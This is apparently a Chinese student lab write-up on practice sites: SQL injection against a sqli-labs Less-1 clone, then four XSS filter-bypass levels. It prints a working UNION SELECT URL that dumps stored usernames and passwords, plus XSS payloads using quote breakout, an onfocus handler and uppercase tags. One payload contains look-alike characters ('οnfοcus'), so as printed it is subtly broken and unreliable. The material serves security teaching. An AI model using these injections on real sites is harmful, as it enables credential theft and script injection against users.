实验五:常见WEB漏洞挖掘与利用

  • Author:ZERO-A-ONE
  • Date:2021-05-11

一、实验题目

1.1 SQL注入

目标:通过SQL注入拿到flag

https://sqli.littlefisher.me/Less-1/?id=1

1.2 XSS注入

目标:通过构造xss语句进行弹窗

题目一

http://test.ctf8.com/level1.php?name=test

题目二

http://test.ctf8.com/level2.php?keyword=test

题目三

http://test.ctf8.com/level3.php?keyword=test

题目四

http://test.ctf8.com/level6.php?keyword=test

二、实验原理

SQL是结构化查询语言的简称,目前几乎所有的Web应用在后台都使用某种SQL数据库来存放应用程序数据,当用户访问动态页面时,Web应用会根据用户的输入生成动态SQL语句提交给后台数据库,如果用户数据是一个(恶意)的SQL命令,而Web 应用又未对用户输入进行合法性检查,那么远程用户就有可能在数据库上执行任意命令,例如绕过认证登录网站后台,借助数据库的存储过程进行提权等操作。

由于用户输入数据会使用以下三种方式提交给后台数据库:

GET请求:该请求在URL中发送参数。

POST请求:数据被包含在HTML的请求报文的实体体中。

其他请求:HTTP请求的HEAD 方法、PUT方法等。

因此寻找SQL注入漏洞有一种很简单的方法:通过发送特殊的数据来触发异常。阅读参考链接学习如何构造特殊数据测试目标网页是否存在SQL注入漏洞。

跨站脚本攻击(XSS)通常是指攻击者利用网页开发时留下的漏洞,注入恶意指令代码到网页,使用户加载并执行这些恶意代码。恶意代码通常是JavaScript,也可以包括VBScript、ActiveX、 Flash 或者HTML代码。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页信息、会话和cookie等各种内容。

反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的跨站脚本攻击。攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接时,恶意代码会附加在请求的URL中,作为参数提交到服务器,服务器解析该请求,然后将包含恶意代码的响应返回给用户,最后用户浏览器解析此响应并执行恶意代码。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

持久型跨站脚本(Persistent Cross-Site Scripting)等同于存储型跨站脚本(Stored Cross-Site Scripting)。攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

一般意义上的XSS通常可以用简单的方法检测出来:当用户输入的某个参数的全部或其中一部分,原封不动地在服务器返回页面的源代码里出现时,我们就可以认为这个页面存在XSS漏洞。

因为HTML是一种超文本标记语言,通过将一些字符特殊对待以区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,<title></title>之间的字符是页面的标题等等。当动态页面的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,而如果这些HTML标签中引入了一段脚本(JavaScript、VBScript等)时,这些脚本程序就会在用户浏览器中执行。

常见的可以自动触发脚本代码的HTML标签(如<scirpt><img><input><details>等)对应XSS攻击方法,见参考链接。

三、解题过程

3.1 SQL注入

打开网址可以看到
在这里插入图片描述

添加id=1正常,id=1’ 报错,根据报错信息可以看出来,输入的内容被单引号括住了
在这里插入图片描述

阅读一下网页源代码

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<!--user: flag -->
<font size='5' color= '#99FF00'>Your Login name:Dumb<br>Your Password:Dumb</font></font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>

发现提示<!--user: flag -->,根据提示构造Payload爆出所有的用户名和密码从而拿到flag

https://sqli.littlefisher.me/Less-1/?id=1%27%20AND%201=2%20union%20select%201,(select%20group_concat(password)%20from%20security.users)%20,(select%20group_concat(username)%20from%20security.users)%20--+

在这里插入图片描述

3.2 XSS注入

3.2.1 题目一

访问页面获得如下图所示
在这里插入图片描述

进去首先可以看到,没有任何的输入点,而页面上有一个test(用户名),url中也有一个name参数,猜测是将url中的name获取到的值,直接放入页面导致了xss,我们可以先试一下,看看页面上的值会不会根据name参数得到的值而改变
在这里插入图片描述

可以发现的确会产生影响

查看网页源代码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户test</h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>

可以发现有一个alert的方法,alert()方法用于显示带有一条指定消息和一个确认按钮的警告框

可以发现只要触发一下alert()方法即可完成任务,可获得Payload

http://test.ctf8.com/level1.php?name=<script>alert('syc')</script>

执行后显示
在这里插入图片描述

这个题目的意思就是因为网页没有对输入进行过滤,可直接给变量name进行赋值,而我们给name修改为了去执行alert()方法

3.2.2 题目二

这个时候就来到了题目二
在这里插入图片描述

老样子先查看网页源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和test相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="test">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>

先找到可疑的点,当我们改变唯一输入点的时候,页面有两处随之改变
在这里插入图片描述

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和syc相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="syc">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:3</h3></body>
</html>

尝试之前的攻击手法,没有任何反应
在这里插入图片描述

查看一下此时的网页源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;script&gt;alert('syc')&lt;/script&gt;相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="<script>alert('syc')</script>">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:29</h3></body>
</html>

观察两者的不同

<script>alert('syc')</script>
<h2 align=center>没有找到和&lt;script&gt;alert('syc')&lt;/script&gt;相关的结果.</h2><center>

可以发现<script>变成了&lt;script&gt;,在这里已经被转义了,放弃利用,这时候我们看到显示文字区域过滤了<>,但是input没有过滤,没有利用成功的原因是没有闭合引号和尖括号

<input name=keyword  value="<script>alert('syc')</script>">

至此我们可以构造我们的Payload了

"><script>alert('syc')</script>

在这里插入图片描述

3.2.3 题目三

进入题目三
在这里插入图片描述

查看一下源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value=''>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>

老样子先试一下原来的payload
在这里插入图片描述

观察一下源代码,我们可以发现原来的两处<>均被转义,所以不能再利用标签

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和&lt;script&gt;alert('syc')&lt;/script&gt;相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value='&lt;script&gt;alert('syc')&lt;/script&gt;'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:29</h3></body>
</html>
<script>alert('syc')</script>
&lt;script&gt;alert('syc')&lt;/script&gt;

然后这里如果使用第二题的Payload,则还可以发现"也被完成了转义

"><script>alert('syc')</script>
<input name=keyword  value='&quot;&gt;&lt;script&gt;alert('syc')&lt;/script&gt;'>

那可以考虑给给input加一个onfocus事件,当 input 输入框获取焦点时执行一段 Javascript代码,我们就直接在标签内加载js,可选比如说onclickonfocus等。之后测试发现对于等号后面参数会自动添上"",再就是后面多了一个,我们需要使用//注释掉

' οnfοcus=alert('syc')//

在这里插入图片描述

3.2.4 题目四

于是我们顺利来到了题目四
在这里插入图片描述

经过多次尝试,href,src,data这些关键字都加下划线了,script、onclick、href都被过滤了,最后得知有一种手法叫大小写过滤

构造Payload可得

"> <SCRIPT>alert('syc')</SCRIPT>

在这里插入图片描述

四、实验目的

  • 了解SQL注入攻击原理、了解寻找及确认SQL注入点的方法
  • 了解XSS的定义,反射型XSS、存储型XSS的区别,常见的XSS攻击手法
  • 了解XSS的过滤原理以及常见的XSS绕过技术

五、参考资料

  • https://paper.seebug.org/15/
  • https://blog.csdn.net/xuchen16/article/details/82785371
  • https://blog.csdn.net/qq_34638225/article/details/81269281
  • https://xz.aliyun.com/t/4067
  • https://xz.aliyun.com/t/2936#toc-12
  • 1
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值